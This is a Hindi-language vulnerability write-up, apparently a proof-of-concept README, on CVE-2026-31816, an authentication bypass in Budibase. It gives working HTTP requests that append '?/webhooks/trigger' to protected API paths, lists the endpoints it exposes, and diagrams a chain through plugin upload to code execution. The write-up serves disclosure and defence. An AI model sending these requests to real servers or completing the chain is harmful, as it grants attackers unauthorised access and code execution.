
CVE-2026-31816 - Budibase प्रमाणीकरण बायपास से RCE तक
CVE-2026-31816 Budibase को प्रभावित करने वाली एक गंभीर प्रमाणीकरण और प्राधिकरण बायपास भेद्यता है।
यह भेद्यता सर्वर-साइड प्राधिकरण मिडलवेयर में मौजूद है जो API एंडपॉइंट्स की सुरक्षा के लिए जिम्मेदार है। Budibase वैध वेबहुक एंडपॉइंट्स की पहचान करने के लिए एक अनएंकर्ड रेगुलर एक्सप्रेशन का उपयोग करने का प्रयास करता है और उस एक्सप्रेशन का मूल्यांकन Koa के ctx.request.url के विरुद्ध करता है।
चूँकि ctx.request.url में क्वेरी स्ट्रिंग होती है, एक हमलावर किसी अन्यथा असंबंधित API अनुरोध के क्वेरी घटक में वेबहुक जैसा दिखने वाला पथ इंजेक्ट कर सकता है।
उदाहरण के लिए:
/api/integrations?/webhooks/trigger
यह अनुरोध वास्तव में वेबहुक एंडपॉइंट को लक्षित नहीं करता है। हालाँकि, यह भेद्य जाँच /webhooks/trigger को इस बात के प्रमाण के रूप में व्याख्या कर सकती है कि अनुरोध एक वैध वेबहुक अनुरोध है और सामान्य प्रमाणीकरण और प्राधिकरण जाँचों के बिना निष्पादन जारी रखने की अनुमति दे सकती है।
NVD इस समस्या का वर्णन इस प्रकार करता है कि यह एक पूरी तरह से अनप्रमाणित दूरस्थ हमलावर को URL में वेबहुक पथ पैटर्न जोड़कर सर्वर-साइड API एंडपॉइंट्स तक पहुँचने की अनुमति देता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-31816 |
| विक्रेता | Budibase |
| उत्पाद | Budibase |
| प्रभावित संस्करण | <= 3.31.4 |
| गंभीरता | गंभीर |
| CVSS v3.1 | 9.1 |
| CVSS वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| हमला वेक्टर | नेटवर्क |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| प्रमाणीकरण आवश्यक | नहीं |
NVD Budibase के 3.31.4 तक के संस्करणों को प्रभावित के रूप में दर्ज करता है और CVSS 3.1 स्कोर 9.1 निर्धारित करता है।
भेद्य तर्क सामान्य प्राधिकरण से पहले किए जाने वाले वेबहुक पहचान के इर्द-गिर्द केंद्रित है।
सुरक्षा सलाह में अवधारणात्मक रूप से समकक्ष कोड प्रलेखित है:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
समस्या दो व्यवहारों का संयोजन है:
ctx.request.url में क्वेरी स्ट्रिंग होती है।इसका मतलब है कि एक्सप्रेशन को वास्तविक अनुरोध पथ से मेल खाने की आवश्यकता नहीं है।
ऐसा अनुरोध, जैसे:
/api/some/protected/endpoint?/webhooks/trigger
फिर भी इसमें स्ट्रिंग मौजूद होती है:
/webhooks/trigger
जाँचे जा रहे URL के अंदर।
प्राधिकरण मिडलवेयर तत्पश्चात अनुरोध को वेबहुक अनुरोध मानता है और सामान्य प्राधिकरण प्रवाह निष्पादित किए बिना एंडपॉइंट तक पहुँच जाता है।
Budibase सुरक्षा सलाह स्पष्ट रूप से इसे अंतर्निहित दोष के रूप में पहचानती है और नोट करती है कि यह बायपास प्रमाणीकरण, प्राधिकरण, भूमिका जाँच और CSRF सुरक्षा को छोड़ देता है।
किसी संरक्षित API एंडपॉइंट के लिए एक सामान्य अनुरोध प्रमाणीकरण परत से गुजरने की अपेक्षा की जाती है।
उदाहरण के लिए:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
इसके स्थान पर एक भेद्य इंस्टेंस तक वेबहुक क्वेरी-स्ट्रिंग पैटर्न के साथ पहुँचा जा सकता है:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
महत्वपूर्ण भाग है:
?/webhooks/trigger
एंडपॉइंट स्वयं नहीं बदला है:
/api/integrations
केवल क्वेरी स्ट्रिंग को संशोधित किया गया है।
सार्वजनिक Budibase सलाह /api/integrations और कई अन्य सर्वर-साइड एंडपॉइंट्स के विरुद्ध इसी सटीक तकनीक का प्रदर्शन करती है।
नियंत्रित प्रयोगशाला में प्रमाणीकरण बायपास को सत्यापित करने का एक सुरक्षित तरीका एक सामान्य अनुरोध की तुलना वेबहुक-क्वेरी वैरिएंट से करना है।
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
भेद्य सर्वर दूसरे अनुरोध को उन प्रमाणीकरण जाँचों के बिना संसाधित कर सकता है जो सामान्यतः एंडपॉइंट की सुरक्षा करती हैं।
एक प्रकाशित PoC भी इसी प्रकार उपयोग करता है:
/api/integrations?/webhooks/trigger
एक सरल भेद्यता जाँच के रूप में।
निम्नलिखित एक प्रमाणित API अनुरोध की संरचना को दर्शाता है जिसे वेबहुक पैटर्न जोड़कर एक अनप्रमाणित अनुरोध में बदल दिया जाता है।
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
आधिकारिक Budibase सलाह इस एंडपॉइंट को प्रभावित API सतहों में से एक के रूप में प्रलेखित करती है।
उसी दोष के माध्यम से पहुँच योग्य के रूप में प्रलेखित अन्य सर्वर-साइड एंडपॉइंट्स में शामिल हैं:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
मुख्य अवलोकन यह है कि यह भेद्यता किसी एक विशेष एप्लिकेशन संसाधन से जुड़ी नहीं है। प्रभावित प्राधिकरण मिडलवेयर सर्वर-साइड APIs के एक व्यापक समूह के सामने स्थित है।
जब इसे हमलावर-नियंत्रित कार्यक्षमता स्वीकार करने में सक्षम किसी संवेदनशील API के साथ जोड़ा जाता है, तो प्रमाणीकरण बायपास काफी अधिक गंभीर हो सकता है।
इस रिपॉजिटरी में मौजूद PoC भेद्यता को निम्नानुसार श्रृंखलाबद्ध करता है:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution